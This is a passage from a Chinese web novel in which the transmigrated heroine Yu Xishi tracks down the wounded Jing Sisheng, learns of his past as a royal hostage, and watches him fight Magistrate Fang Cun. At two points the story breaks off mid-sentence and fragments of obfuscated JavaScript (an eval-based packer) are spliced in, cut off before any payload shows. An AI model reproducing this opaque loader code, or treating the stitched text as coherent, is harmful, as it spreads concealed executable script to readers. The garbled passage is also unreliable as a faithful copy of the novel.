她说着,慢悠悠走回了后院,虞戏时看了她一阵,才看向离惘:“你这是怎么回事?怎么会突然现身?” “也没什么。”离惘当成自己家般随意地找了个凳子坐了下来,似乎有些嫌脏,还用袖子先擦了擦,“主神给你发布的第三个任务,比前两个更令我感兴趣。我想看看凡人是如何交付信任的。再者,平日里也无趣,整日坐在神坛上,难受得紧。” 说着,他似乎有些口渴,想兀自倒些桌上的水来喝。虞戏时坐在了他的对面,忙劝他:“别喝多了,你一个神仙,需要喝什么水?你是不知道现在的水和食物有多珍贵。” 离惘看看她,又看看手上的水,一口喝了。 “不是,你不是神仙吗?你还需要进食?就算需要,你自己不可以变吗?” “神仙也要吃东西。”离惘说话像个人机,“而且,变出来的都是假的。就像你那件纱衣一样。” “还说这事儿呢。”虞戏时撑着下颌,“没空和你闲聊了,我现在要考虑景饲生去了哪里。” “行。怎么想的,你说说。” 听见这句话,虞戏时疑惑地看他。 他说:“我只是看看凡人怎么思考问题。” “行,想知道?给我一张地图。” 离惘理解能力倒强,当即便给了她一张黄县以及附近地区的大地图。“既命司与知县都找不到的人,你看看地图就能找到?” 虞戏时动作一滞,“你跟踪我?” “我无所不知,无所不晓。” “那你不知道我在想什么?” “这也是我的困惑。我明明知晓许多事,却越来越难以理解。我不懂凡人做某些事时候的本意,因为十分不合逻辑章法。后来发现这些本意大多源自于他们的情感…情感,我更不明白了,可我依稀记得曾经是懂的。” “哦,”虞戏时对他不甚感兴趣,道,“你可能快老死了,所以思想会有些呆滞。也有可能……或许,你知不知道有种病,叫做老年痴呆?” “……”离惘知道她的过去,知道她的外婆,也知道她的母亲,“这好笑吗?” “我也没在说笑。” “那就更不好笑了。” 14. 寻 虞戏时懒得再纠结好不好笑的问题。时间之神究竟活了多久,谁也说不清。连神仙都搞不明白的“感受”流失,她从哪儿知道原因。 她的注意力重新落回地图上。 那位夫人——也就是奶娘,当初告诉她野林子的方位时,正坐在一条长长的官道旁。虞戏时根据自己赶往野林子的路线,倒推出奶娘当时的位置,用毛笔画了个圈。 “我困在插叙剧情的时候,655年这个时间节点会正常流逝吗?” 虽然她知道,从“插叙剧情段”脱离后,自己再次接上了655年的剧情——因中箭陷入了昏迷。那么很有可能当时655年时间是停滞的。 “不会。”离惘的回答果然不出所料。 也就是说,从奶娘在地图上标记的位置出发,沿着官道前往柳城,才过去三天——虞戏时是三天前回到了655年。 按照他们三人的赶路速度——奶娘和质子体力不支,每小时最多走三公里左右。一天二十四小时,扣除八小时睡觉和三小时休息,还剩十三小时。 13乘以3等于39。 三十九公里。当然,这只是个粗略估算。虞戏时届时还得需要一头骡子或者马,再算出她骑着马追的时速,到时这三人会出现的大概位置。 离惘坐在她面前,看着她涂涂画画。 “这些都是什么?”离惘问。 “我要动身了。”虞戏时将地图收好,站起身来,正打算走,却突然想到了什么,“你能不能直接带我飞到我画圈的地方去?” “不行。我只是看热闹的,并不能提供帮助。”离惘毫不犹豫地拒绝。 “你不能提供帮助?你两次控制我杀人——而且美名其曰是帮我,这还不算提供了帮助?”虞戏时反问道。 “不大一样。” “哪不一样?” “不好解释。” “算了。”虞戏时放弃了,抬腿便走。 后门没关,明月看见她的动作,追上来:“姑娘,你不吃点东西再走?不然到时晕过去,还得回我这儿看病。” 虞戏时道谢,抓起桌上的两块干饼往嘴里塞,将嘴里塞得鼓鼓囊囊,就开始往外走。 “你要去哪?”明月仍追着。 “去找我朋友。”虞戏时跨出门去,只是下一刻,又倒退回来,“这附近哪儿有能卖赤髓的地方?” “确实有,在出黄县的官道边,有买卖赤髓的地方。姑娘倒是和送你来的那位俊俏公子有些默契,你的诊费呀就是他卖了赤髓换来的。” “什么?送我来的那位公子……?” “对呀。我没有赤髓,不过听说挺疼的。那位公子交过诊费走的时候整张脸都还是惨白的呢。” …… 他还真是什么都不欠。 不过,6岁时,虞戏时并不曾告诉景饲生她的名字。纵然景饲生的记忆里有了这么一个小丫头,可知是她? 若不知当年卖赤髓换诊费的人是她,那如今又为何愿意为她这个跟屁虫付出这么大代价。 不对不对。 “他不是灵力者吗,何来的赤髓?”虞戏时惊讶道。 明月笑了一下,“他既是灵力者,也有赤髓。许是父母是灵力者与无灵者的缘故。只不过就算是这样的夫妻,也很少能生出这般‘天赋异禀’的孩子,他算是稀有。只不过这样的人,身上通常会反噬出不一样的毛病出来,就不知道他可有病症在身了。” 虞戏时凝眉。 “他对你这么好,你们可是青梅竹马?”明月好奇问道。 虞戏时摇摇头,“这不,我成天追着他跑,他瞧都不瞧我一眼。” 不仅如此,他恐怕对她还有大误会——趋炎附势,喜欢有权有势的男人;如果知道幼时救他的姑娘就是她,恐怕还有个谎话连篇的印象。 明月笑:“我听他说还有三年便可行弱冠之礼,届时说不一定……” 虞戏时看着她的眼神,便知她在脑中幻想出了一个小世界,看来有些写话本子的能力。 离惘在一旁撑着下颌,看看虞戏时,又看看明月。片晌,说了句,“啧,他都告诉明月他的年纪,可曾告诉过你?” 虞戏时:“……” 他连真名都没告诉过我。 - 曾为她取赤髓的大夫是骗人的。 还说什么头回疼,再取就好受了。 虽的确不如头一回那么疼,但还是够虞戏时喝一壶的了。而且如今的赤髓价格,比曾经降了一半不止。还是虞戏时好说歹说,一成赤髓才换了八百两。 “够不够买一只驴子赶路?”要走时,虞戏时这样问掌柜的。 “赶路的话,可以买一只兔子。”掌柜的说。 “?”虞戏时不解。 当绑在一只巨大灵兔的背上,由它一蹦一跳地“驮着”前进时,虞戏时真觉得自己病了。 脑子有病。 这只灵兔也十分嫌弃她,仿佛在用眼神说:你身上多少钱够你嫌弃我的。 当然了,这是第一回见面时用眼神交流的。现在虞戏时已经让掌柜的绑着自己,面朝天躺在它的背上,不知道它眼神里还有没有嫌弃了。 好在这兔子速度也不算慢,比人快速跑起来时再慢一些,好歹还能为虞戏时节省体力。 身上还剩了钱换了些吃食和水,至少七天内应该是饿不死了。 之后的事,之后再说吧……实在饿的话……不是还有只灵兔吗? 灵兔好像感觉到了什么,忽然被绊了一下,虞戏时本就被颠得胃里翻江倒海,这一下直接把她魂甩飞出去逛了个圈。 追赶的时间里,虞戏时也已经计算出了以她的时速,追赶上这家人时他们可能出现的位置。届时只需要在这个位置停下,排查附近的区域。 首先得排除三人根本不会去的地方。以她粗略的了解,他们是跟着流民队伍一起行动,应该不会脱离人群,冒险走那些危险的小路。就算休息,八成也会选在官道附近。 不过路上可能发生各种意外,所以沿途可供躲藏或歇脚的地方都得排查一遍。最后,再去那些可能性最低的丛林地带查看。 虞戏时下兔时,兔子就变成了巴掌大小,缩进了她的衣袖里。 她不免怀疑,这种可大可小的肉……能吃吗? “你就在纸上这么圈圈写写,就算出了他们会出现在这里?这是算命么?”离惘出现在她身边。 这次虞戏时没有被他吓一跳,故弄玄虚挑眉道:“是。一支笔一张纸,我能算出很多东西。要不要给你算算?五十两银子一次。” “……”离惘嘴角抽了抽,“给神仙算命还骗钱你真是头一个。” “怎么叫骗?我的实力你不是都瞧见了么?” “人还没找着,实力尚未可知。”默了默,他又道,“那你怎么知道景饲生能找到这里?” “我是靠脑子,”虞戏时点点自己的脑袋,“他不一样,他是靠这个。” 说着,她做了个展现手臂肌肉的姿势。 “靠武力?”离惘理解着。 “不不,靠灵力。”虞戏时不过是看看自己有没有肌肉而已。 离惘嘴角又抽。 你这动作跟灵力也不沾边啊。 他越想越气闷,非得叫她知晓,灵力者何等风姿绝世才行! 他眼神一定,周身荡起一层素白灵光,衣袍翻飞,下一瞬,他足尖轻点,身形如惊鸿掠影,倏忽间已立于十丈外的一株古松之巅。 松枝微颤,他倒是稳如山岳,单手负于身后,另一手并指幻剑,指尖凝聚一点璀璨星芒。 “看好——” 话音未落,他指尖星芒化作一道贯日长虹,直劈而下! “轰——!” 远处一座丈许高的青岩应声炸裂,碎石飞溅,被凌厉的剑气绞成齑粉,纷纷扬扬如雪飘落。 离惘收势而立,神色淡然,仿佛方才那一剑不过是信手为之。他转过身来,身后如雪的碎石仍洋洋洒洒,可以看出是刻意放慢了坠落的速度。至此,他总算畅快了些:“这是最低级的灵力。” “……”虞戏时拊掌,好装。 这是认真在装。 他抚抚身上褶皱,回来她面前。 - 虞戏时离开后不久,明月的屋子里来了三个女子。 为首的女子气场强势,蒙着面纱,先是简单地扫视了一圈屋子,而后看向捧着竹担惊讶又害怕地站在原地的明月,直截了当道:“方才来治病的那位公子与姑娘呢?” “他…他们走了。” “走了?走去哪里?” “我,我不知道……” 游灯冷笑道:“不知道?我倒要看看,你到底知不知道。” 她后头的两人随即冲上,按住明月,明月手上的竹担掉落,里头的药材撒了一地,她挣扎着,很快被这两名随从按住,整张脸贴在了地上的竹担上。 身前,游灯瞳孔转变,流转着蓝紫的色彩,而这个屋子近日发生的一切,就尽数展现在她眼前。 她嘴角弯起,意料之外地获得了如此多且有用的信息——卖了赤髓、不去柳城、天赋异禀…以及虞戏时在纸上的圈圈画画。 “你要去柳城?”看完这一切,游灯恢复如常,低眼看着明月。 “你们到底是什么人,想干什么!” 游灯没有说话,而是盯着明月一阵,似乎心生一计,眼中的情绪慢慢浓郁起来。 正此时,门外传来一阵嘈杂。游灯微微偏头,听着外头的动静。“看来,都不需要我们出手了。” 说完,她转回头看向明月,“命数如此,好自为之。” 明月惶然睁大了眼,感觉到背上一痛,三个人便消失在了屋中。 她甚至还未起身,外头的劫匪就踹倒了大门。 整个黄县都陷入了祸乱,而她的屋子,也成了地图上被点燃的又一个标记。 大火连天,流民惊惶的哀嚎与受难者的惨叫此起彼伏,在游灯身后,这些吵闹的声音渐远。 明月的话又回响在她耳旁——“你们要去哪?可是柳城?”“哦,我还以为能同路,还很高兴呢。” 游灯抬眼,虞戏时所画的地图便浮现在眼前。只要理解了虞戏时的意图,通过她的标记推算出她想要找寻的方位,并不难。 她所用的时间,比虞戏时更快。 “卖赤髓、找景饲生。你们猜,之后会去哪?” 她身后的两名女子对视一眼,几乎不用思考,便道:“报仇。” ——“找您报仇。” 地图消失,她望向远处,“找我?我看未必。” 而她所望的方向,虞戏时花了三天,才到达。 - 虞戏时在溪边发现了香囊的碎片。 这个被景饲生无比宝贝的香囊给她留下了深刻印象,没想到此时还有这样的作用——让她发现景饲生的踪迹。 它卡在岩石缝隙里,虞戏时蹲下身,将它扯了出来,发现上面的血迹。 灵兔从袖子里跑出来,在她脚边不安地嗅着地面。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“说错了,应该是三个人。质子与奶娘,还有个男人。”虞戏时蹲下身,与他平视,“你说过要找到他们。” 景饲生仍紧握着刀柄:“你为什么找他们?” “因为要找到你。” “…………”又绕回来了。 “放心吧,若是我要杀你早杀了。”虞戏时像哄炸毛的小狗般,尽量放缓态度,“你才救了我,我不会伤害你。” 一阵沉默。火光摇曳,在岩壁上投下两人的影子。 景饲生咳嗽起来,不得不松开刀柄按住胸口。虞戏时上前,担忧道,“伤口可有处理?很容易感染。” 景饲生挣了一下,但失血和发热让他使不上力。虞戏时利落地解开他手臂上浸血的布条,露出下面狰狞的伤口。 伤口边缘已经开始泛白,虞戏时不知道这个世界的灵力者怕不怕感染的伤口,但总归得到好一些的治疗总没错。 “才离开你多久,怎么伤成这样。” 虞戏时从包袱里取出一个小瓷瓶,倒出些褐色粉末在伤口上,这是明月给她的治伤的药,想来对他也有作用。 景饲生肌肉瞬间绷紧,但咬紧了牙关没出声。 “疼吧。”她用干净的布条重新包扎,“对我有用,对你就有用。这本来就是你买的,给你用也是应该。” “你还没回答我的问题。” “什么问题?” “为什么追着我不放。” 虞戏时收起药瓶:“我若是没追过来,你可就危险了。” 景饲生盯着她,用眼神逼着她直面问题。 “我…想和你待在一起。” 景饲生目光闪烁一下,无法理解地别开眼。至少这一瞬间,他信了她的话。 只是这一瞬间太短,短到可以忽略不计。 虞戏时笑,觉得他说得没错——跟踪狂,在她的那个世界,是要被抓起来的。 “确实。乱世无处安身,我要为自己找个倚仗。我觉得你就很不错,性格沉稳,脑子聪慧,而且不会害我——至少现在不会。” 想要跟着他,总得要个理由。既有了坏的印象,不如一做到底。 “都是一人独行,何不一起走?再者,我现在知道了你的秘密,你不杀我,也不把我留在身边,不怕我带来什么祸患?” 景饲生沉声道:“‘杀人’,你当真觉得如说两个字般这么轻易。” 虞戏时手上动作一顿。想到自己曾说的——“杀人太可怕了,更可怕的是,杀人太容易了。” 虞戏时迟疑道:“你的意思是……” “我不想。” 气氛凝结了起来。虞戏时手上的动作彻底停下,沉默地出神。 她曾附在景饲生的身上,由离惘操纵着,杀了那么多人… 那一刻的窒息感与崩溃感在此时又翻涌而上,虞戏时仍抬着的手僵住,而后僵硬地放下。 景饲生偏过头来,有些疑惑地看向她。 看着此时坐在身前的景饲生,虞戏时竟比当时的心情更为复杂。许是因为现在还多了一份对景饲生的愧疚的缘故。 ——景饲生如她一般,也不想杀人。 可当时,若不杀了那些人,死的、失败的就是他们。两人心知肚明。 “虞戏时。”不知道过了多久,他唤了一声。 虞戏时猛然回神,“嗯?” 未免景饲生发现她的异常,她还故作轻松地补了一句,“小祖宗,有什么吩咐?” “……”他看着她,“我叫景饲生。” 虞戏时垂下眼,继续替他包扎伤口。 小祖宗,从你嘴里知道你的名字可真不容易。 15. 他 包扎完毕后,景饲生看向虞戏时方才扔给他的水囊。 虞戏时领会他的意思,把水囊抛过去,他单手接住,仰头灌了几口。 火把的光渐渐暗了下去,洞内的阴影愈发浓重。 景饲生撑着岩壁缓缓起身。他站姿很稳,若不是苍白的脸色和微微发抖的手指,几乎看不出是个重伤之人。 “天一亮就出发,去找王嗣。”他的呼吸略显紊乱。虞戏时在包扎时就注意到,外伤看起来不算严重——因为伤口都不深,但很可能内伤很重。 虞戏时也跟着站起来:“你的伤——” “还能怎么办?”他弯腰拾起地上的刀,“你先休息,我来守夜。” 确实没有办法。就算劝他明天先去看大夫,他也不会听——要是他愿意那么做,就不需要虞戏时来劝了。 虞戏时找了块相对平整的岩石坐下,背靠着潮湿的岩壁。灵兔蹭过来,温顺地窝在她腿边。 洞外隐约传来风声。火把终于熄灭了,浓稠的黑暗笼罩下来。 虞戏时在黑暗中睁着眼睛。 景饲生如今受了伤,尚不知是不是被人追杀所致,执意守在外头甚是危险。 不知过了多久,她蹑手蹑脚地爬起来,摸黑走到景饲生身边。 他靠在洞口附近的岩壁上,呼吸轻浅,长刀横放在膝头,手仍然紧握着刀柄。 已然睡着了。 虞戏时小心翼翼地碰了碰他的额头。滚烫。 她轻手轻脚地捡起那些换下来的染血布条,摸黑走到洞外的小溪旁,仔细地将它们洗净,然后回来敷在景饲生发烫的额头上。 如此反复多次。 最后累得不知什么时候睡着了。 天蒙蒙亮时,虞戏时突然惊醒。景饲生已经站在洞口,正在收拾所剩无几的行装。晨光透过藤蔓的缝隙照进来,为他冷峻的轮廓镀上一层柔和的色调。 “醒了就出发。”他说。 虞戏时揉揉眼睛,发现灵兔不见了:“我的兔子呢?” “吃了。” “你是活阎王吗?!”虞戏时顿时气血上涌,困意全消。 景饲生系紧包袱:“骗你的。” 灵兔从他袖口钻出来,蹦跳着跑向虞戏时。 “它自己非要跟着我。”景饲生补充道。 虞戏时狐疑地打量着灵兔。小家伙浑身的毛都炸开了——作为养过猫的人,她很清楚这是被人反复揉搓过的痕迹。 景饲生背着她偷偷撸兔子了? 但看着他那张冷冰冰的脸,虞戏时又觉得可能是自己多想了。 算了,只要兔子还活着就好。 “谢谢。”她说。 景饲生抬眼:“谢什么?” “没趁我睡着时杀了我。”的兔子。 虞戏时本是玩笑,心里清楚他若想害她,当初就不会救她。 他嘴角动了动,想笑却又没有。道:“你还有点用处。” 所以没杀。 虞戏时反而因为这句附和笑了起来。 他们沿着溪流往北走。景饲生步伐很快,丝毫看不出受伤的样子。虞戏时跟在他身后,时不时需要小跑几步才能跟上。 “对了,我有个问题想问你。”在又一次追上景饲生后,虞戏时喘着气说。 “说。” “你六岁那年...后来怎么样了?”在虞戏时劝他回宫后,那段故事就戛然而止了。她在想自己不会是当人面突然消失了吧? 景饲生看向她:“所以,当年救我的人是你?” “是我。” 景饲生脚步稍缓,取下腰间的水囊喝了口水。 “那年我劝你去熙王宫,否则在外活不下去。你去了,对吗?” “去了。”景饲生收起水囊,用袖子擦了擦额头的薄汗,“托你的福,不然我可能活不到今天。” 虞戏时想到当时看过画面里的熙王与熙王妃,他们显然都对景饲生没有善意。 “在王宫里,过得还好吗?”虞戏时又轻声问道。 景饲生垂下眼,不知道是不是她看错了,景饲生好像微微笑了一下。 那是一种想到某件治愈的事情的笑容。 虞戏时悬着的心往下松了松。 只是,还有疑惑。毕竟就虞戏时了解到的事情来看,熙王和熙王妃能对他好?似乎不大可能。 “没什么好不好的。”景饲生又加快了脚步,“你既然跟我走到这里,该猜到的应该都猜得差不多了。” 虞戏时半开玩笑:“我可不想全靠猜,就像你讨厌别人说谎一样。” “但你一直在说谎。”景饲生瞥了她一眼,“算了。你说我能保护你,实际上并不能。若真想要庇护,当初留在既命司那位大人身边才是明智之选。” “而且,''想要个倚仗''——这句话也是假的。” 虞戏时:“为什么这么说?” 景饲生道:“不如先说说你的真实来历?” 虞戏时笑了:“六岁那年我们一起去王都时,我给官兵看身份文书的时候,你没看见?那我现在告诉你,我和母亲相依为命,那年是去王都投奔亲戚,结果走散了。正好看见受伤的你,就带你去看了大夫。没钱付诊金,只能卖了赤髓。后来发现官兵在搜捕你,车夫还出卖了我们,我为了保护你脱身,只能说些谎话。劝你回宫之后的事,我都不记得了。所以现在问你。” “我也记不清了。”景饲生说,“只记得我们沉默了很久,直到我决定去熙王宫,然后分道扬镳。” “后来呢?阿饲,后来发生了什么?” 听到这个称呼,景饲生神色微凝,略显不自在:“既然知道我的名字,就不必叫''阿饲''了。” 虞戏时感慨。这真的是限制文男主?纯情正经得比灵兔还白。她哄道:“好。那景公子,后来发生了什么?” 她之所以敢直接问,是因为开头和结局都已知道——开头是劝他入宫,结局是他质子失踪。最关键的两段身世都已清楚,中间过程问问应当也没什么。 “苏蘅沂是现在对我来说最重要的人。” “苏...是那位质子?” “嗯。” 也不知道未来的王帝是不是苏蘅沂。说好会来的原著,到现在还没个影。 两人走累了,在路边稍作休息。一天一夜没进食,虞戏时才感到饿,就见景饲生站起身,手中幻化出一把看起来弱不禁风的短弓。 那弓简陋到三岁孩童都要考虑经不经玩。 “我去看看能不能打到野兔。”他说。 虞戏时指了指灵兔:“当着它的面吃同类不太好吧?” “它也迟早要吃,让它提前适应。”景饲生道。 “......”虞戏时在心里默念了句造孽,“你这弓能用?” “能力有限。”景饲生坦然承认自己的“没用”,转身走远。 身后突然传来一道枯枝被踩断的声音。 离惘不知何时出现:“没想到吧,现在的景饲生修为不足,连幻化的弓都这么寒酸。” 虞戏时恼道:“你再跟踪我,我就向主脑举报!” “那你跟踪景饲生,他找谁说理去?”离惘说话间已闪身到树上坐着,悠闲地眺望远山。 “他需要我!” “你也需要我。” “......”虞戏时语塞。 恶人自有恶人磨。先解决眼前的事,再想办法甩掉这个跟屁虫吧。 想到这里,她突然愣住。 现在的景饲生,是不是也这么想的? “你不是想知道景饲生的过 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虞戏时正要反驳,眼前突然浮现出灵力幻化的画面,她慢慢噤声。 - 长宁645年冬,熙州飞雪连天。 景饲生已在宫中豢养半载。熙王对外称其乃阵亡将领遗孤,谁也不知他是伏州女俘所出之子——除了熙王妃。 彼时两国战事胶着,熙王欲借“抚恤忠烈”之名认其为嗣,待宗庙册礼之后,再过半载,以“王室子弟”身份遣其赴伏国为质。 可不料,嗣君苏蘅沂成了这局中变故。 原本熙王默许苏蘅沂亲近景饲生,是想让景饲生对王宫生出牵绊。未料苏蘅沂真心相待,不仅与其一同读书练武,更屡次违禁与他出宫游玩,独爱接触些新鲜事物。两个尚且年幼的孩子,景饲生沉默寡言,苏蘅沂知礼活泼,只有面对对方时,才发自内心的展颜侃谈。 这般情状,连老宦官都暗叹,“倒似真兄弟”。 而转折始于质子计定那夜。 苏蘅沂途径暖阁,恰闻熙王对景饲生道:“伏地苦寒,若思念阿沂与孤,可设法常写信来。” 景饲生叩恩。 檐下风灯轻晃,苏蘅沂伫立阁外,紧攥着拳垂下眼,直到一线水光滑过脸,眼中的光一定,做了决定。 三日后朝会,苏蘅沂冲入宣政殿,当众递还嗣君玉印:“儿臣愿赴伏国!” 满殿哗然。 朝臣各执己见,乱成一片。熙王掩嘴咳嗽,看清了死局。 若强送景饲生,只怕没有意义——伏王不会认,朝臣与百姓也会知王帝为保子嗣送忠烈之子入虎狼之地;若真让苏蘅沂去,景饲生留在王都,甚至是留在王宫,来日若知晓生母含恨旧怨,将成祸患。 最终熙王只能道:“你二人同去。” 这“同去”二字精妙,既全了史官笔下“嗣君坦荡仁德”的美名,又让质子互为牵制。 雪夜离宫,景饲生默然回头。 朱红宫门缓缓闭合,缝隙里依稀可见熙王玄色冕服。 苏蘅沂紧握他冰凉的手:“别怕。你我二人一起,前路惊险亦是游乐。” 然而现实远比言语残酷。为质十年,受尽屈辱。 所以。 “我一定要带王嗣回国。” 这是景饲生的承诺,或许带着少年意气,或许缺乏周全谋划。又或许,那个所谓的“家”,早已不是归处。 - 幻象戛然而止。 视线前的画面消失后,便露出了一片景象——那位给过她麻绳的妇人,此刻正被吊在半空中! 是质子的奶娘! 虞戏时慌忙起身,踉跄着就要冲过去。 方存负手从不远处走出。 “怎么是你?景饲生人呢?” 16. 违 奶娘血衣褴褛,面容却出奇地干净,连半点泥污都不曾沾染,倒像是刻意要人认出这是谁来。 河水不深,虞戏时跌跌撞撞地蹚进水里。碎石子硌着早已破烂的草鞋,在脚底划开几道口子。她浑然不觉,只顾往对岸奔去。 要说与奶娘有多深的情分,倒也未必。现在的慌张,全因想到了景饲生。方才在画面中所见历历在目——奶娘与质子这些年的相依为命。她记得真切,当年苏蘅沂赴伏地为质时,与景饲生年岁相仿,本不需奶娘随行。是这位被唤作“幺姆”的妇人——也不知幺姆是职称还是名字,只知她舍了自己的骨血,执意要跟去伏国,照料苏蘅沂。 方存已经带着下人去寻景饲生了。潮湿的空气中只余她一人,却觉难呼吸。虞戏时想将尸体放下来,突然听见一声:“幺姆!” 虞戏时循声望去,景饲生已经飞身而来,手中的残弓旋飞,将吊着奶娘的绳索割断。奶娘坠落,被已经到达的景饲生稳稳接住,小心翼翼地放下。 “幺姆。”景饲生又唤了一声。 那僵冷的身躯早已没了生气。虞戏时这个无灵者都看得分明。 “是谁?”他嗓音沙哑,而下一句,却暴喝到险些破音:“是谁?!” “方才只见方县令......” “方存?他敢?”景饲生抬头环视了一圈周遭。虞戏时感受到他周身翻涌的杀意,担心他被愤怒蒙蔽了理智。 以他如今这点微末修为,若真遇上凶手,冲动行事和送死没什么分别。 “景饲生……”她轻声开口,想让他冷静,却见他身形一顿。 顺着他的目光望去,不远处树后竟还倒着个男子。景饲生慌忙奔去,虞戏时本想跟上,却忽然想到了什么,警惕地环视四周。 ——景饲生身上的伤若是劫匪所为倒罢,若是追杀...... 幺姆与那护卫皆已毙命,来人必是冲着质子来的,当是一群高手。 好在四野寂寂,连风过草梢的声响都听不见半分。 而景饲生面前,男人仰面躺着,胸口一片暗红,血早已凝涸。景饲生跪在他身旁,手指悬在那张青灰的面孔上方,迟迟未落。 最终还是搭在他的手腕上。 虞戏时缓步走近。 湿透的裙子贴在她的腿上,风一吹,凉意往肉里渗。 她没觉得冷,但景饲生好像浑身血液都凉透,微微颤着,试图从眼前的场景找出点回暖的支撑来。 ——譬如,有没有千万分之一的可能人还能救。 可他不是神仙。 神仙也没这般能力。 “陈叔。”他唤。 景饲生浑身好像僵住了,手微微抬起一点,最终还是紧攥成拳垂落。 虞戏时没说话,任由景饲生控制着自己的情绪。 “致命伤利落干净,但是有虐待的痕迹。”景饲生道,“先虐后杀。” 听见他出声,虞戏时才接话:“不太像是方存。杀手技艺高超,倘若要你的命…你应当躲不过。这些人是冲着王嗣去的。而方存刚刚带的人瞧着像是府兵,连官兵都算不上,没有这样的身手。” 暮色漫来,天际一片紫。景饲生站起身,深吐了口气,他身上的伤口好像又裂开了,有血渗出来。 “我知道。”他道。 他太冷静了,冷静到违背了人性的本能。譬如面对背叛时该是愤怒,面对亲近之人遭受的折磨该是痛苦与仇恨,该… 声嘶力竭也好,痛哭出声也罢。总不该是如此,压抑着,尚能维持理性地分析着。 但她好像忽然有些明白,为什么限制文会偏离了剧情,为什么他一心搞事业,像是一头扎进去,一条暗河游到底。 是了,他哪里违背了本能,而是恨到了顶,反而瞧来比预想的平静。 虞戏时看着他的背影。 他说,他知道。人不是方存杀的。至于方存为什么会出现在这里…… “方存只不过是……”景饲生转过身来,看向虞戏时的身后,“等着我来收尸的。” 他抬起手来,淡蓝的灵力汇成一个大圆,往虞戏时的方向击来。术法穿过她的身体,她毫无感觉,而灵力形成一张盾,挡住她身后射来的数十支箭。 虞戏时猛然转身,看见方存身前举着弓的一群府兵。 糟了。 离惘此刻不会现身救她,景饲生亦不会拿命护她——再者,景饲生死,她任务失败,也会离开这个世界。 两个人,一个无灵,一个重伤。 该如何突围? 正此时,却听景饲生开口:“方大人。他们杀不了我,你亦是。” “我不想杀人,别让他们白白送命。” 方存定定看着他,眼中情绪复杂。 “景饲生。”他声音沉缓,“质子身边最亲近的两个人已经死了,你觉得他还能安然无恙吗?” “这一切,本可以不发生。是你执意要带他归国。” 他语气里没有讥讽,只有一种近乎疲惫的笃定,仿佛在陈述一个无法改变的事实。 “你说你不想杀人,可你连自保都做不到。你不仅身有赤髓,还天生灵根。可你从未修炼,空有天赋却无实力。”说着,方存停顿了一下,声音低了几分,“我也不想杀你。当年救你时,我是真心希望你活下去。” 他抬手一挥,府兵们沉默着退开,让出一条路。 而他缓缓抽出一柄长剑。“罢了,怀旧无用。让我看看——你的能力是否配得上你的选择。” 虞戏时站在景饲生身侧,目光在方存和景饲生之间游移。然后沉默地退开几步。 如果这一战避无可避,她能做的是别给景饲生添麻烦——虽然景饲生也不会顾她。 只见方存负剑掐诀,地面炸裂,三道岩刺破土而出,呈品字形刺向景饲生! 景饲生双手交叠,掌心迸发淡蓝灵光,硬接冲击—— “轰!!”气浪炸开,景饲生身后登时水花冲天。余劲未消,景饲生被气流狠狠撞飞,后背砸断枯树。 虞戏时一颗心紧悬,看着景饲生咳血爬起,指腹擦过血迹,食指与拇指摩挲,沾染上拇指上的血后,凌空画符—— “爆!” 符文化作无数光刃,如破碎镜片,折射出方存惊疑的脸。 方存剑插地面,尘墙轰然升起,光刃“叮叮叮”钉入尘墙,碎屑纷飞。 但最后一枚光刃突然拐弯,擦过方存脸颊,带出一线血痕。 方存眼神一冷。 他暴喝一声,河滩震颤! 景饲生脚下泥沼翻涌,双腿瞬间陷至脚踝。 方存跃至半空,剑裹挟灵力劈下—— “砰——!!” 景饲生横臂格挡,臂上灵盾瞬间破碎,他整个人被震进河底。 溪水受到灵力的冲击一时竟如翻涌的浅海,瞬间深不见底,景饲生坠落其中,不见踪影。 方存剑指河面,冷声道:“就这般?” 他剑尖凝聚刺目灵光,一击便要贯穿水面。 “轰隆——!!” 河水炸开巨坑,虞戏时张大了眼,却见铺天盖地的水潮中,景饲生飞身而出,只是方存仍有防备,划去一道剑气,景饲生再次受到重击,摔向对岸,摔行出数米远。 方存明显占优势,但是却没有给予致命一击,只是一次一次击中景饲生,任由他被击倒又爬起,再击倒再爬起。 一次,又一次。 所有人的目光都聚集在景饲生身上。 “还能打吗?”方存飞身上前。 景饲生挣扎着爬起身来。 “能。” “好。” 没有多余的言语,剑锋破开凝滞的空气,一线寒光直逼景饲生咽喉——这一次,快、准、狠,毫无花巧,只求一击毙命。 景饲生没躲。 他抬手,五指张开,竟在剑尖抵至喉前半寸时,倏然合拢! “锵——” 方存的剑,竟被他徒手钳住,剑尖再难进半分。 方存神色一凝。 景饲生的指缝间渗出鲜血——剑终究割破了他的皮肉,但他恍若未觉,只是微微偏头,眼底映着素剑清辉。 “方大人。”他轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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话音未落,他疾速后退,躲开景饲生的“剑”锋,幻出聚集灵力的一剑,直直向景饲生刺去。 景饲生抬枝格挡,气浪翻卷,四周枯树簌簌作响。方存剑势凌厉,每一击都直取要害,而景饲生因伤势而动作滞涩,一时间竟被逼得节节后退。 “你撑不了多久。”方存剑锋一转,骤然刺向景饲生胸口! 这一剑极快,景饲生却更快——他身形微侧,剑刃擦着衣袍刺空,同时右臂一抬,枯枝狠狠击在方存持剑的手腕上! 方存手腕剧痛,剑势一滞。景饲生抓住这一瞬破绽,枯枝直刺他肩膀—— “嗤!” 灵力贯入,方存肩头血肉焦灼。他闷哼一声,脚下急退,可景饲生攻势不停,枯枝凌空一转,已抵在他咽喉! 方存闭眼,心知逃命的招术方才已经用过一次,这一次,逃不掉。加上这数回合的对决,他心里知道,纵然景饲生重伤,他也不可能打得过。 “动手吧。” 景饲生却收枝负手。 他突兀地落下一滴泪来,脸上神情却未变。他双眼不敢看幺姆与陈叔的方向。只是盯着方存,又何尝不是另一种挖心窝子的难受。 “我不杀你。别再为难我。” 府兵们面面相觑,终于有一人怒吼:“放箭!” 景饲生吐出一口压抑着的郁气,迅速纵身冲入人群,枝幻作剑,剑背翻飞,每一击都精准击晕一人,或翻身刺入府兵腿上经脉,却不取性命。府兵接连倒下,哀嚎声四起。 